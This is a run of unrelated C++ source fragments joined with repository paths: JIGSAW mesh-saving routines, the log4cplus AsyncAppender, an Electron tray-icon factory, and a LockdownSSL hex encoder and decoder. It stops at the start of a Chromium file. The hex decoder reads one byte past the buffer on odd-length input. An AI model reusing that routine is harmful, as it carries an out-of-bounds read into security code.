= 0 ; _mmsh._power. _data[_nout] = (real_type)+0. ; _nout = _nout + 1 ; } } } if (_rdel._euclidean_rdel_2d. _eset.count() > +0) { /*-------------------------- write EDGE2 data */ jigsaw_alloc_edge2 ( &_mmsh._edge2,_rdel. _euclidean_rdel_2d._eset.count()) ; iptr_type _eout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_2d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _mmsh._edge2._data[_eout]. _node[0] = _nmap[_item->_data._node[0]] ; _mmsh._edge2._data[_eout]. _node[1] = _nmap[_item->_data._node[1]] ; _mmsh._edge2._data[_eout]. _itag = _item->_data._part ; _eout = _eout + 1 ; } } } if (_rdel._euclidean_rdel_2d. _tset.count() > +0) { /*-------------------------- write TRIA3 data */ jigsaw_alloc_tria3 ( &_mmsh._tria3,_rdel. _euclidean_rdel_2d._tset.count()) ; iptr_type _tout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_2d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _mmsh._tria3._data[_tout]. _node[0] = _nmap[_item->_data._node[0]] ; _mmsh._tria3._data[_tout]. _node[1] = _nmap[_item->_data._node[1]] ; _mmsh._tria3._data[_tout]. _node[2] = _nmap[_item->_data._node[2]] ; _mmsh._tria3._data[_tout]. _itag = _item->_data._part ; _tout = _tout + 1 ; } } } } else if (_rdel._ndim == +3 && // save 3-dim. mesh _rdel._kind == jmsh_kind::euclidean_mesh) { _mmsh._flags = JIGSAW_EUCLIDEAN_MESH ; /*------------ index mapping for active nodes */ _nmap.set_count(_rdel. _euclidean_rdel_3d._tria._nset.count() , containers::tight_alloc, -1) ; for (auto _iter = _rdel. _euclidean_rdel_3d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; } } for (auto _iter = _rdel. _euclidean_rdel_3d._fset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._fset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; _nmap[_item->_data._node[2]]=1 ; } } for (auto _iter = _rdel. _euclidean_rdel_3d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; _nmap[_item->_data._node[2]]=1 ; _nmap[_item->_data._node[3]]=1 ; } } iptr_type _last = +0; for (auto _iter = _nmap.head() ; _iter != _nmap.tend() ; ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_rdel._euclidean_rdel_3d. _tria._nset.count() > 0) { /*-------------------------- write POINT data */ jigsaw_alloc_vert3 ( &_mmsh._vert3 , _last); jigsaw_alloc_reals ( &_mmsh._power , _last); iptr_type _npos = +0 ; iptr_type _nout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_3d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0 ) { _mmsh._vert3._data[_nout]. _ppos[0] = _iter->pval(0) ; _mmsh._vert3._data[_nout]. _ppos[1] = _iter->pval(1) ; _mmsh._vert3._data[_nout]. _ppos[2] = _iter->pval(2) ; _mmsh._vert3. _data[_nout]._itag = 0 ; _mmsh._power. _data[_nout] = (real_type)+0. ; _nout = _nout + 1 ; } } } if (_rdel._euclidean_rdel_3d. _eset.count() > +0) { /*-------------------------- write EDGE2 data */ jigsaw_alloc_edge2 ( &_mmsh._edge2,_rdel. _euclidean_rdel_3d._eset.count()) ; iptr_type _eout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _mmsh._edge2._data[_eout]. _node[0] = _nmap[_item->_data._node[0]] ; _mmsh._edge2._data[_eout]. _node[1] = _nmap[_item->_data._node[1]] ; _mmsh._edge2._data[_eout]. _itag = _item->_data._part ; _eout = _eout + 1 ; } } } if (_rdel._euclidean_rdel_3d. _fset.count() > +0) { /*-------------------------- write TRIA3 data */ jigsaw_alloc_tria3 ( &_mmsh._tria3,_rdel. _euclidean_rdel_3d._fset.count()) ; iptr_type _fout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._fset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._fset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _mmsh._tria3._data[_fout]. _node[0] = _nmap[_item->_data._node[0]] ; _mmsh._tria3._data[_fout]. _node[1] = _nmap[_item->_data._node[1]] ; _mmsh._tria3._data[_fout]. _node[2] = _nmap[_item->_data._node[2]] ; _mmsh._tria3._data[_fout]. _itag = _item->_data._part ; _fout = _fout + 1 ; } } } if (_rdel._euclidean_rdel_3d. _tset.count() > +0) { /*-------------------------- write TRIA4 data */ jigsaw_alloc_tria4 ( &_mmsh._tria4,_rdel. _euclidean_rdel_3d._tset.count()) ; iptr_type _tout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _mmsh._tria4._data[_tout]. _node[0] = _nmap[_item->_data._node[0]] ; _mmsh._tria4._data[_tout]. _node[1] = _nmap[_item->_data._node[1]] ; _mmsh._tria4._data[_tout]. _node[2] = _nmap[_item->_data._node[2]] ; _mmsh._tria4._data[_tout]. _node[3] = _nmap[_item->_data._node[3]] ; _mmsh._tria4._data[_tout]. _itag = _item->_data._part ; _tout = _tout + 1 ; } } } } } catch (...) { _errv = __unknown_error ; } return ( _errv ) ; } /* -------------------------------------------------------- * SAVE-JMSH: save *.JMSH output file. -------------------------------------------------------- */ template < typename jlog_data > __normal_call iptr_type save_jmsh ( jcfg_data &_jcfg , jlog_data &_jlog , mesh_data &_mesh ) { iptr_type _errv = __no_error ; __unreferenced(_jlog) ; try { containers::array _nmap; std::ofstream _file ; std::string _path ; std::string _name ; std::string _fext ; file_part( _jcfg._mesh_file, _path, _name, _fext); _file.open( _jcfg._mesh_file, std::ofstream::out ); if (_file.is_open()) { if (_mesh._ndim == +2 && _mesh._kind == jmsh_kind::euclidean_mesh) { /*-------------------------- save 2-dim. mesh */ _file << "# " << _name << ".msh" << "; created by " ; _file << __JGSWVSTR "\n" ; _file << "MSHID=3;EUCLIDEAN-MESH \n" ; _file << "NDIMS=2 \n" ; _file << std::scientific ; _file << std::setprecision(16); /*------------ index mapping for active nodes */ _nmap.set_count(_mesh. _euclidean_mesh_2d._mesh._set1.count() , containers::tight_alloc, -1) ; iptr_type _nnum = +0 ; iptr_type _enum = +0 ; iptr_type _tnum = +0 ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _enum += +1 ; } } for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _nmap[_iter->node(2)] = +1 ; _tnum += +1 ; } } for (auto _iter = _nmap.head(); _iter != _nmap.tend(); ++_iter ) { if ( *_iter >= +0) { *_iter = _nnum ++ ; } } if (_nnum > +0) { /*-------------------------- write POINT data */ _file << "POINT=" << _nnum << "\n" ; iptr_type _npos = +0; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set1.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set1.tend() ; ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(0) << ";" << _iter->pval(1) << ";" << +0 << "\n" ; } } } if (_nnum > +0) { /*-------------------------- write POWER data */ if (_jcfg._iter_opts.dual() ) { _file << "POWER=" << _nnum << ";1" << "\n" ; iptr_type _npos = +0; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set1.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set1.tend() ; ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(2) << "\n" ; } } } } if (_enum > +0) { /*-------------------------- write EDGE2 data */ _file << "EDGE2=" << _enum << "\n" ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _iter->itag() << "\n" ; } } } if (_tnum > +0) { /*-------------------------- write TRIA3 data */ _file << "TRIA3=" << _tnum << "\n" ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _nmap[_iter->node(2)] << ";" << _iter->itag() << "\n" ; } } } } else if (_mesh._ndim == +3 && _mesh._kind == jmsh_kind::euclidean_mesh) { /*-------------------------- save 3-dim. mesh */ _file << "# " << _name << ".msh" << "; created by " ; _file << __JGSWVSTR "\n" ; _file << "MSHID=3;EUCLIDEAN-MESH \n" ; _file << "NDIMS=3 \n" ; _file << std::scientific ; _file << std::setprecision(16); /*------------ index mapping for active nodes */ _nmap.set_count(_mesh. _euclidean_mesh_3d._mesh._set1.count() , containers::tight_alloc, -1) ; iptr_type _nnum = +0 ; iptr_type _enum = +0 ; iptr_type _fnum = +0 ; iptr_type _tnum = +0 ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _enum += +1 ; } } for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _nmap[_iter->node(2)] = +1 ; _fnum += +1 ; } } for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set4.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set4.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _nmap[_iter->node(2)] = +1 ; _nmap[_iter->node(3)] = +1 ; _tnum += +1 ; } } for (auto _iter = _nmap.head(); _iter != _nmap.tend(); ++_iter ) { if ( *_iter >= +0) { *_iter = _nnum ++ ; } } if (_nnum > +0) { /*-------------------------- write POINT data */ _file << "POINT=" << _nnum << "\n" ; iptr_type _npos = +0; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set1.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set1.tend() ; ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(0) << ";" << _iter->pval(1) << ";" << _iter->pval(2) << ";" << +0 << "\n" ; } } } if (_nnum > +0) { /*-------------------------- write POWER data */ if (_jcfg._iter_opts.dual() ) { _file << "POWER=" << _nnum << ";1" << "\n" ; iptr_type _npos = +0; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set1.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set1.tend() ; ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(3) << "\n" ; } } } } if (_enum > +0) { /*-------------------------- write EDGE2 data */ _file << "EDGE2=" << _enum << "\n" ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _iter->itag() << "\n" ; } } } if (_fnum > +0) { /*-------------------------- write TRIA3 data */ _file << "TRIA3=" << _fnum << "\n" ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _nmap[_iter->node(2)] << ";" << _iter->itag() << "\n" ; } } } if (_tnum > +0) { /*-------------------------- write TRIA3 data */ _file << "TRIA4=" << _tnum << "\n" ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set4.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set4.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _nmap[_iter->node(2)] << ";" << _nmap[_iter->node(3)] << ";" << _iter->itag() << "\n" ; } } } } } else { _errv = __file_not_located ; } _file.close(); } catch (...) { _errv = __unknown_error ; } return ( _errv ) ; } /* -------------------------------------------------------- * SAVE-MSHT: save MSH_T output data. -------------------------------------------------------- */ template < typename jlog_data > __normal_call iptr_type save_msht ( jcfg_data &_jcfg , jlog_data &_jlog , mesh_data &_mesh , jigsaw_msh_t &_mmsh ) { iptr_type _errv = __no_error ; __unreferenced(_jlog) ; try { containers::array _nmap ; if (_mesh._ndim == +2 && // save 2-dim. mesh _mesh._kind == jmsh_kind::euclidean_mesh) { _mmsh._flags = JIGSAW_EUCLIDEAN_MESH ; /*------------ index mapping for active nodes */ _nmap.set_count(_mesh. _euclidean_mesh_2d._mesh._set1.count() , containers::tight_alloc, -1) ; iptr_type _nnum = +0 ; iptr_type _enum = +0 ; iptr_type _tnum = +0 ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _enum += +1 ; } } for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _nmap[_iter->node(2)] = +1 ; _tnum += +1 ; } } for (auto _iter = _nmap.head(); _iter != _nmap.tend(); ++_iter ) { if ( *_iter >= +0) { *_iter = _nnum ++ ; } } if (_nnum > +0) { /*-------------------------- write POINT data */ jigsaw_alloc_vert2 ( &_mmsh._vert2, _nnum) ; jigsaw_alloc_reals ( &_mmsh._power, _nnum) ; iptr_type _npos = +0 ; iptr_type _nout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set1.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set1.tend() ; ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0 ) { _mmsh._vert2._data[_nout]. _ppos[0] = _iter->pval(0) ; _mmsh._vert2._data[_nout]. _ppos[1] = _iter->pval(1) ; _mmsh._vert2. _data[_nout]._itag = 0 ; _mmsh._power. _data[_nout] = _iter->pval(2) ; _nout = _nout + 1 ; } } } if (_enum > +0) { /*-------------------------- write EDGE2 data */ jigsaw_alloc_edge2 ( &_mmsh._edge2, _enum) ; iptr_type _eout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _mmsh._edge2. _data[_eout]._node[0] = _nmap[_iter->node(0)] ; _mmsh._edge2. _data[_eout]._node[1] = _nmap[_iter->node(1)] ; _mmsh._edge2. _data[_eout]. _itag = _iter->itag() ; _eout = _eout + 1 ; } } } if (_tnum > +0) { /*-------------------------- write TRIA3 data */ jigsaw_alloc_tria3 ( &_mmsh._tria3, _tnum) ; iptr_type _tout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_2d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_2d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _mmsh._tria3. _data[_tout]._node[0] = _nmap[_iter->node(0)] ; _mmsh._tria3. _data[_tout]._node[1] = _nmap[_iter->node(1)] ; _mmsh._tria3. _data[_tout]._node[2] = _nmap[_iter->node(2)] ; _mmsh._tria3. _data[_tout]. _itag = _iter->itag() ; _tout = _tout + 1 ; } } } } else if (_mesh._ndim == +3 && // save 3-dim. mesh _mesh._kind == jmsh_kind::euclidean_mesh) { _mmsh._flags = JIGSAW_EUCLIDEAN_MESH ; /*------------ index mapping for active nodes */ _nmap.set_count(_mesh. _euclidean_mesh_3d._mesh._set1.count() , containers::tight_alloc, -1) ; iptr_type _nnum = +0 ; iptr_type _enum = +0 ; iptr_type _fnum = +0 ; iptr_type _tnum = +0 ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _enum += +1 ; } } for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _nmap[_iter->node(2)] = +1 ; _fnum += +1 ; } } for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set4.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set4.tend() ; ++_iter ) { if (_iter->mark() >= +0 && _iter->self() >= +1 ) { _nmap[_iter->node(0)] = +1 ; _nmap[_iter->node(1)] = +1 ; _nmap[_iter->node(2)] = +1 ; _nmap[_iter->node(3)] = +1 ; _tnum += +1 ; } } iptr_type _last = +0; for (auto _iter = _nmap.head(); _iter != _nmap.tend(); ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_nnum > +0) { /*-------------------------- write POINT data */ jigsaw_alloc_vert3 ( &_mmsh._vert3, _nnum) ; jigsaw_alloc_reals ( &_mmsh._power, _nnum) ; iptr_type _npos = +0 ; iptr_type _nout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set1.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set1.tend() ; ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0 ) { _mmsh._vert3._data[_nout]. _ppos[0] = _iter->pval(0) ; _mmsh._vert3._data[_nout]. _ppos[1] = _iter->pval(1) ; _mmsh._vert3._data[_nout]. _ppos[2] = _iter->pval(2) ; _mmsh._vert3. _data[_nout]._itag = 0 ; _mmsh._power. _data[_nout] = _iter->pval(3) ; _nout = _nout + 1 ; } } } if (_enum > +0) { /*-------------------------- write EDGE2 data */ jigsaw_alloc_edge2 ( &_mmsh._edge2, _enum) ; iptr_type _eout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set2.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set2.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _mmsh._edge2. _data[_eout]._node[0] = _nmap[_iter->node(0)] ; _mmsh._edge2. _data[_eout]._node[1] = _nmap[_iter->node(1)] ; _mmsh._edge2. _data[_eout]. _itag = _iter->itag() ; _eout = _eout + 1 ; } } } if (_fnum > +0) { /*-------------------------- write TRIA3 data */ jigsaw_alloc_tria3 ( &_mmsh._tria3, _fnum) ; iptr_type _fout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set3.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set3.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _mmsh._tria3. _data[_fout]._node[0] = _nmap[_iter->node(0)] ; _mmsh._tria3. _data[_fout]._node[1] = _nmap[_iter->node(1)] ; _mmsh._tria3. _data[_fout]._node[2] = _nmap[_iter->node(2)] ; _mmsh._tria3. _data[_fout]. _itag = _iter->itag() ; _fout = _fout + 1 ; } } } if (_tnum > +0) { /*-------------------------- write TRIA3 data */ jigsaw_alloc_tria4 ( &_mmsh._tria4, _tnum) ; iptr_type _tout = +0 ; for (auto _iter = _mesh. _euclidean_mesh_3d._mesh._set4.head() ; _iter != _mesh. _euclidean_mesh_3d._mesh._set4.tend() ; ++_iter ) { if (_iter->mark() >= 0 && _iter->self() >= 1 ) { _mmsh._tria4. _data[_tout]._node[0] = _nmap[_iter->node(0)] ; _mmsh._tria4. _data[_tout]._node[1] = _nmap[_iter->node(1)] ; _mmsh._tria4. _data[_tout]._node[2] = _nmap[_iter->node(2)] ; _mmsh._tria4. _data[_tout]._node[3] = _nmap[_iter->node(3)] ; _mmsh._tria4. _data[_tout]. _itag = _iter->itag() ; _tout = _tout + 1 ; } } } } } catch (...) { _errv = __unknown_error ; } return ( _errv ) ; } # endif //__MSH_SAVE__ staticlibs/lookaside_log4cplussrc/asyncappender.cxx // Copyright (C) 2009-2013, . All rights reserved. // // Redistribution and use in source and binary forms, with or without modifica- // tion, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, // INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE // APACHE SOFTWARE FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, // INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLU- // DING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS // OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF // THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include #ifndef LOG4CPLUS_SINGLE_THREADED #include #include #include #include #include namespace log4cplus { namespace { class QueueThread : public thread::AbstractThread { public: QueueThread (AsyncAppenderPtr const &, thread::QueuePtr const &); virtual void run(); private: AsyncAppenderPtr appenders; thread::QueuePtr queue; }; QueueThread::QueueThread (AsyncAppenderPtr const & aai, thread::QueuePtr const & q) : appenders (aai) , queue (q) { } void QueueThread::run() { typedef log4cplus::thread::Queue::queue_storage_type ev_buf_type; ev_buf_type ev_buf; while (true) { unsigned flags = queue->get_events (&ev_buf); if (flags & thread::Queue::EVENT) { ev_buf_type::const_iterator const ev_buf_end = ev_buf.end (); for (ev_buf_type::const_iterator it = ev_buf.begin (); it != ev_buf_end; ++it) appenders->appendLoopOnAppenders (*it); } if (((thread::Queue::EXIT | thread::Queue::DRAIN | thread::Queue::EVENT) & flags) == (thread::Queue::EXIT | thread::Queue::DRAIN | thread::Queue::EVENT)) continue; else if (thread::Queue::EXIT & flags) break; } } } // namespace AsyncAppender::AsyncAppender (SharedAppenderPtr const & app, unsigned queue_len) { addAppender (app); init_queue_thread (queue_len); } AsyncAppender::AsyncAppender (helpers::Properties const & props) { tstring const & appender_name ( props.getProperty (LOG4CPLUS_TEXT ("Appender"))); if (appender_name.empty ()) { getErrorHandler ()->error ( LOG4CPLUS_TEXT ("Unspecified appender for AsyncAppender.")); return; } spi::AppenderFactoryRegistry & appender_registry = spi::getAppenderFactoryRegistry (); spi::AppenderFactory * factory = appender_registry.get (appender_name); if (! factory) { tstring const err (LOG4CPLUS_TEXT ("AsyncAppender::AsyncAppender()") LOG4CPLUS_TEXT (" - Cannot find AppenderFactory: ")); helpers::getLogLog ().error (err + appender_name); // Add at least null appender so that we do not crash unexpectedly // elsewhere. // XXX: What about throwing an exception instead? factory = appender_registry.get ( LOG4CPLUS_TEXT ("log4cplus::NullAppender")); } helpers::Properties appender_props = props.getPropertySubset ( LOG4CPLUS_TEXT ("Appender.")); addAppender (factory->createObject (appender_props)); unsigned queue_len = 100; props.getUInt (queue_len, LOG4CPLUS_TEXT ("QueueLimit")); init_queue_thread (queue_len); } AsyncAppender::~AsyncAppender () { destructorImpl (); } void AsyncAppender::init_queue_thread (unsigned queue_len) { queue = new thread::Queue (queue_len); queue_thread = new QueueThread (AsyncAppenderPtr (this), queue); queue_thread->start (); helpers::getLogLog ().debug (LOG4CPLUS_TEXT("Queue thread started.")); } void AsyncAppender::close () { unsigned ret = queue->signal_exit (); if (ret & (thread::Queue::ERROR_BIT | thread::Queue::ERROR_AFTER)) getErrorHandler ()->error ( LOG4CPLUS_TEXT ("Error in AsyncAppender::close")); queue_thread->join (); } void AsyncAppender::append (spi::InternalLoggingEvent const & ev) { if (queue_thread && queue_thread->isRunning ()) { unsigned ret = queue->put_event (ev); if (ret & (thread::Queue::ERROR_BIT | thread::Queue::ERROR_AFTER)) { getErrorHandler ()->error ( LOG4CPLUS_TEXT ("Error in AsyncAppender::append,") LOG4CPLUS_TEXT (" event queue has been lost.")); // Exit the queue consumer thread without draining // the events queue. queue->signal_exit (false); queue_thread->join (); queue_thread = 0; queue = 0; appendLoopOnAppenders (ev); } } else { // If the thread has died for any reason, fall back to synchronous // operation. appendLoopOnAppenders (ev); } } } // namespace log4cplus #endif // #ifndef LOG4CPLUS_SINGLE_THREADED cybernetics/atom-shell1-10 // Copyright (c) 2014 GitHub, Inc. All rights reserved. // Use of this source code is governed by the MIT license that can be // found in the LICENSE file. #include "atom/browser/ui/gtk/status_icon.h" #include "atom/browser/ui/gtk/app_indicator_icon.h" namespace atom { // static TrayIcon* TrayIcon::Create() { if (AppIndicatorIcon::CouldOpen()) return new AppIndicatorIcon; else return new StatusIcon; } } // namespace atom #include #include "pipeline/Hex.h" const char uHexChars[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; const char lHexChars[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}; byte hex_to_byte(byte b) { if(b >= '0' && b <= '9') return b - '0'; else if(b >= 'A' && b <= 'F') return b - 'A' + 10; else if(b >= 'a' && b <= 'f') return b - 'a' + 10; else return 16; } namespace LockdownSSL::Pipeline { void HexEncoder::ProcessData(SecureBlock& Data) { const char* hex_chars = m_Case == UPPERCASE ? uHexChars : lHexChars; size_t len_header = m_Header.size(); size_t len_seperator = m_Seperator.size(); size_t len_terminator = m_Terminator.size(); SecureBlock hexString; hexString.Grow(len_header); for(size_t a = 0; a < len_header; a++) hexString[a] = m_Header[a]; size_t i = len_header; size_t group_ctr = 0; for(SecureBlock::Iterator it = Data.begin(); it != Data.end(); it++) { group_ctr++; hexString.Grow(2); hexString[i++] = hex_chars[ ( *it & 0xF0 ) >> 4 ]; hexString[i++] = hex_chars[ ( *it & 0x0F ) ]; if(group_ctr == m_GroupSize && ( it + m_GroupSize ) != &(Data.end()[0])) { group_ctr = 0; hexString.Grow(len_seperator); for(size_t a = 0; a < len_seperator; a++, i++) hexString[i] = m_Seperator[a]; } } hexString.Grow(len_terminator); for(size_t a = 0; a < len_terminator; a++, i++) hexString[i] = m_Terminator[a]; Data = std::move(hexString); } void HexDecoder::ProcessData(SecureBlock& Data) { SecureBlock decoded; byte buf1, buf2; for(size_t i = 0; i < Data.Size(); i++) { buf1 = hex_to_byte(Data[i]); buf2 = hex_to_byte(Data[i + 1]); if(buf1 < 16 && buf2 < 16) { decoded.Grow(1); decoded[decoded.Size() - 1] = ( buf1 << 4) | buf2; i++; } } Data = std::move(decoded); } }Wzzzx/chromium-crosswalkchrome/browser/prerender/prerender_field_trial.cc1-10 // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a 